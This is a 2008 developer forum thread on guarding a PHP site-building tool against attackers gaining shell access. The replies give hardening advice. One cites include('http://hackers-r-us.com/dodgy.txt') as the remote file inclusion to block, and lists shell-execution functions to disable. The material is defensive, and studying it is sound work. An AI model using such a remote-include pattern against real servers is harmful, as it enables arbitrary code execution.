473,404 Members | 2,137 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 473,404 software developers and data experts.

my greatest security fear - am I too worried?

I have a set of php scripts that make it possible for a client to
build and update his/her own website. It is a bit like a CMS on
steroids. the client has access to forms, but does not have access to
the command line on the web server. I've implemented a number of
security features - filtering input, escaping output - but I can't get
a nagging fear out of my mind that someone will be able to find a hole
and ---- WORST FEAR COMING!!! ----

--- gain access to the website Linux/Bash command line!

I've had two coding professionals tell me that the only way that could
happen is if PHP had a bug that would allow someone to penetrate into
the server RAM and prowl around in memory. If that is the only way,
then I would be greatly relieved, in a way, because it would be
completely beyond my control via my php scripts. The admin would have
to keep php updated, but that is routine anyway.

On the other hand, if I have to safeguard against that kind of
intrusion with the right php coding practices, then I need to know the
specific safeguards that will prevent this worst of all kinds of
intrusions.

Would someone please comment on this issue and steer me in the right
direction?
Jun 2 '08 #1
4 1200
Put it up on a test server with dummy data, try to hack your own
code. That would be a good start.

If you have done your homework on HTML, PHP and MySQL code injection,
and properly filtering any GET, POST, COOKIE and preventing
unauthorized page access, you're probably a long way already (sounds
like you have enough paranoia that you have already covered the
popular pitfalls).

If it is something you are not 'sure' is possible, then start by
looking up how to implement it intentionally (i.e. shell access from a
web page) and make sure you prevent it in your code.

If PHP had attained shell access it would be as Apache (www-data' or
whatever or your virtual host user account; depends on hosting), not
root.

In general in programming there are some things you can control (what
comes into the server through your script) and there are some you just
can't (undocumented webserver exploits, users accessing using infected
computers with keyloggers or screen scrapers.) Don't worry too much
about the stuff you can't (except inform your clients to do thier
safeguarding work) and the stuff you don't know. I find reading the
PHP RSS feeds and groups and Slashdot (really!) keeps me informed of
important issues.

The best prevention is doing what you can, patch as necessary and, by
all means, keeping regular backups.
Jun 2 '08 #2
firewoodtim wrote:

[...]
--- gain access to the website Linux/Bash command line!

I've had two coding professionals tell me that the only way that could
happen is if PHP had a bug that would allow someone to penetrate into
the server RAM and prowl around in memory.
Nope. There are soem other ways to execute arbitrary code, and those include
scenarios where the user is able to upload content to the site. Code
injection is so much easier than exploiting a buffer overflow, especially
in (some) badly programmed apps.

Rule of thumb is to treat all user input as garbage. Never ever trust it.
You done that? Good.
Anyway, if you're really worried, grab a hold on those:
http://en.wikipedia.org/wiki/List_of...urity_Scanners

It might be worth doing some passes with some tools, if even to make you see
that there are other concerns besides code injection.
Cheers,
--
----------------------------------
Iván Sánchez Ortega -ivansanchez-algarroba-escomposlinux-punto-org-

Un ordenador no es un televisor ni un microondas, es una herramienta
compleja.
Jun 2 '08 #3
On 18 May, 20:49, firewoodtim <firewood...@cavtel.netwrote:
I have a set of php scripts that make it possible for a client to
build and update his/her own website. It is a bit like a CMS on
steroids. the client has access to forms, but does not have access to
the command line on the web server. I've implemented a number of
security features - filtering input, escaping output - but I can't get
a nagging fear out of my mind that someone will be able to find a hole
and ---- WORST FEAR COMING!!! ----

--- gain access to the website Linux/Bash command line!

I've had two coding professionals tell me that the only way that could
happen is if PHP had a bug that would allow someone to penetrate into
the server RAM and prowl around in memory. If that is the only way,
then I would be greatly relieved, in a way, because it would be
completely beyond my control via my php scripts. The admin would have
to keep php updated, but that is routine anyway.

On the other hand, if I have to safeguard against that kind of
intrusion with the right php coding practices, then I need to know the
specific safeguards that will prevent this worst of all kinds of
intrusions.

Would someone please comment on this issue and steer me in the right
direction?
You should definitely perform deep validation on any data supplied by
the user - e.g. don't just use 'file' or magic numbers to confirm the
data type of a image - convert it to a different (lossless) format and
back again.

Disable file wrappers (to prevent include("http://hackers-r-us.com/
dodgy.txt")), disable (using disable_function ini setting) eval and
create_function and all the program execution functions (popen, exec,
system, shell_exec...) and make sure all your PHP source and dirs are
readable but not writeable by the webserver uid. Liberal use of
open_basedir in htaccess files is also recommended if you can't
disable all local file access.

Limit the max post size on the webserver. If you're using apache -
install mod_security and set it up appropriately.

Consider installing suhosin.

At the end of the day the biggest security hole is likely to be your
own code - the best way to address this is to write your code well and
get it checked.

C.
Jun 2 '08 #4
Greetings, C. (http://symcbean.blogspot.com/).
In reply to Your message dated Monday, May 19, 2008, 18:24:18,
Liberal use of open_basedir in htaccess files is also recommended if you
can't disable all local file access.
open_basedir is not acceptable in .htaccess, it is PHP_INI_SYSTEM
It must be set in server config or in php.ini, depends on the mode you're
running it in.
Other than that, it is a perfect way to have your execution environment
isolated from your system and it must be defined for webserver.
--
Sincerely Yours, AnrDaemon <an*******@freemail.ru>

Jun 27 '08 #5

This thread has been closed and replies have been disabled. Please start a new discussion.

Similar topics

28
by: grahamd | last post by:
Who are the appropriate people to report security problems to in respect of a module included with the Python distribution? I don't feel it appropriate to be reporting it on general mailing lists.
116
by: Mike MacSween | last post by:
S**t for brains strikes again! Why did I do that? When I met the clients and at some point they vaguely asked whether eventually would it be possible to have some people who could read the data...
16
by: Lyle Fairfield | last post by:
There is an MS-SQL table named Bugs_Comments_and_Suggestions. There is a form named Bugs_Comments_and_Suggestions. To allow John Doe to use this form, we GRANT him LOGIN and ACCESS permissions...
1
by: Tom | last post by:
Hi, I am currently on a project where one site needs to send the user credentials to another site, through web services. Scenario: * "User 1" will authenticate to "Site A" using NTLM ("Site...
8
by: Mike Nolan | last post by:
As far as I can tell, Postgres has no equivalent to greatest and least functions in Oracle. Yes, you can do the same thing with a case statement, but at the expense of writing MUCH longer SQL...
7
by: nugget | last post by:
Role-based security for an ASP/ASP.NET mixed environment Hello: My co-worker and I have been charged with designing role-based security for our intranet. The technologies we have to work with...
7
by: Mathew Butler | last post by:
Suppose I have a table t with columns id, col1, col2, col3, col4, col5, col6 all numeric. I want to query the table and for each value of col<x> in the resultset I want to identify the largest value...
21
by: Frederick Gotham | last post by:
I'm trying to devise a compile-time constant for X, where X is the greatest number which satisfies both the following criteria: (1) X <= DESIGNATED_MAX_VALUE (2) X % Y == 0 I'll try to...
3
by: Smokey Grindle | last post by:
I want to make a security system in my webservice similar to the one that reporting services uses it has a logon user and logoff user web method... when you log on it logs you into a session and...
0
by: emmanuelkatto | last post by:
Hi All, I am Emmanuel katto from Uganda. I want to ask what challenges you've faced while migrating a website to cloud. Please let me know. Thanks! Emmanuel
0
BarryA
by: BarryA | last post by:
What are the essential steps and strategies outlined in the Data Structures and Algorithms (DSA) roadmap for aspiring data scientists? How can individuals effectively utilize this roadmap to progress...
0
by: Hystou | last post by:
There are some requirements for setting up RAID: 1. The motherboard and BIOS support RAID configuration. 2. The motherboard has 2 or more available SATA protocol SSD/HDD slots (including MSATA, M.2...
0
marktang
by: marktang | last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However,...
0
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can...
0
jinu1996
by: jinu1996 | last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven...
0
by: Hystou | last post by:
Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows...
0
tracyyun
by: tracyyun | last post by:
Dear forum friends, With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each...
0
agi2029
by: agi2029 | last post by:
Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing,...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.